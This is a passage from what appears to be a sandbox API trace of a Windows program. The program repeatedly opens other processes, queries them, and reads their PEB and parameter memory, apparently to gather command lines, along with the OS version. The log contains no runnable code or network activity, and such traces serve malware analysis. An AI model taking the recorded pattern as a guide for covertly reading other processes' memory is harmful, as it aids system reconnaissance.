lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0214.818] malloc (_Size=0x78) returned 0x196ef0d2120 [0214.818] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0214.819] free (_Block=0x196ef0d2120) [0214.819] CloseHandle (hObject=0x45c) returned 1 [0214.820] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0214.824] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3728") returned 4 [0214.825] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0214.825] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0215.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x45c [0215.018] GetLastError () returned 0x0 [0215.019] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0215.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x30e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0215.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0215.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4b1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0215.019] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4b18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0215.020] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0215.021] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0215.021] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x30e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0215.021] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0215.022] malloc (_Size=0x70) returned 0x196ef0d4f50 [0215.022] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d4f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0215.023] free (_Block=0x196ef0d4f50) [0215.024] CloseHandle (hObject=0x45c) returned 1 [0215.024] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0215.028] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3748") returned 4 [0215.030] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0215.030] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0215.292] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x464 [0215.292] GetLastError () returned 0x0 [0215.292] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0215.292] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0215.292] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0215.293] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0215.293] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0215.294] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0215.296] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0215.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0215.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0215.303] malloc (_Size=0x72) returned 0x196ef0d4f50 [0215.303] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d4f50, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0215.303] free (_Block=0x196ef0d4f50) [0215.304] CloseHandle (hObject=0x464) returned 1 [0215.305] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0215.310] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3756") returned 4 [0215.311] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0215.311] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0215.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0215.330] GetLastError () returned 0x0 [0215.331] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0215.331] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0215.331] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0215.331] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ca0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0215.331] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0215.333] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0215.334] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0215.334] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0215.334] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0215.334] malloc (_Size=0x5a) returned 0x196ef0d0680 [0215.334] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d0680, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0215.335] free (_Block=0x196ef0d0680) [0215.336] CloseHandle (hObject=0x464) returned 1 [0215.336] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0215.341] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3780") returned 4 [0215.342] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0215.342] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0215.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x45c [0215.517] GetLastError () returned 0x0 [0215.517] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0215.517] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3de018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0215.517] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0215.518] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x501cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0215.518] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5018f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0215.519] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0215.520] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0215.520] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3de020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0215.520] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5012e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0215.521] malloc (_Size=0x66) returned 0x196ef0d0450 [0215.521] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x501956, lpBuffer=0x196ef0d0450, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0215.521] free (_Block=0x196ef0d0450) [0215.522] CloseHandle (hObject=0x45c) returned 1 [0216.076] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0216.083] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3788") returned 4 [0216.085] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.085] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0216.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x45c [0216.246] GetLastError () returned 0x0 [0216.247] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0216.247] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x290018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0216.247] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0216.247] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x441cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0216.247] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4418f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0216.248] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0216.250] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0216.250] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x290020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0216.250] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0216.250] malloc (_Size=0x74) returned 0x196ef0d4f50 [0216.250] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x441964, lpBuffer=0x196ef0d4f50, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0216.251] free (_Block=0x196ef0d4f50) [0216.251] CloseHandle (hObject=0x45c) returned 1 [0216.252] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0216.257] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3804") returned 4 [0216.258] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.258] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0216.275] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x45c [0216.275] GetLastError () returned 0x0 [0216.275] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0216.275] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2d2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0216.275] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0216.276] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x481c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0216.277] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4818f8, lpBuffer=0x670ffc3f0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0216.278] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0216.279] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0216.279] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2d2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0216.279] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0216.280] malloc (_Size=0x4a) returned 0x196ef101220 [0216.280] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x48193a, lpBuffer=0x196ef101220, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101220*, lpNumberOfBytesRead=0x0) returned 1 [0216.280] free (_Block=0x196ef101220) [0216.281] CloseHandle (hObject=0x45c) returned 1 [0216.281] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0216.286] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3812") returned 4 [0216.287] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.287] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0216.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x45c [0216.508] GetLastError () returned 0x0 [0216.509] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0216.509] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2e6018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0216.509] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0216.509] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x491cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0216.509] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4918f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0216.511] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0216.513] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0216.513] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x2e6020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0216.513] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x4912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0216.514] malloc (_Size=0x64) returned 0x196ef0d0450 [0216.514] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x491954, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0216.515] free (_Block=0x196ef0d0450) [0216.516] CloseHandle (hObject=0x45c) returned 1 [0216.517] _ui64tow_s (in: _Value=0xef4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0216.524] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3828") returned 4 [0216.662] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0216.663] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0216.686] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x45c [0216.686] GetLastError () returned 0x0 [0216.687] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0216.687] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3ed018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0216.687] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0216.688] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x511cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0216.688] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5118f8, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0216.689] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0216.691] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, 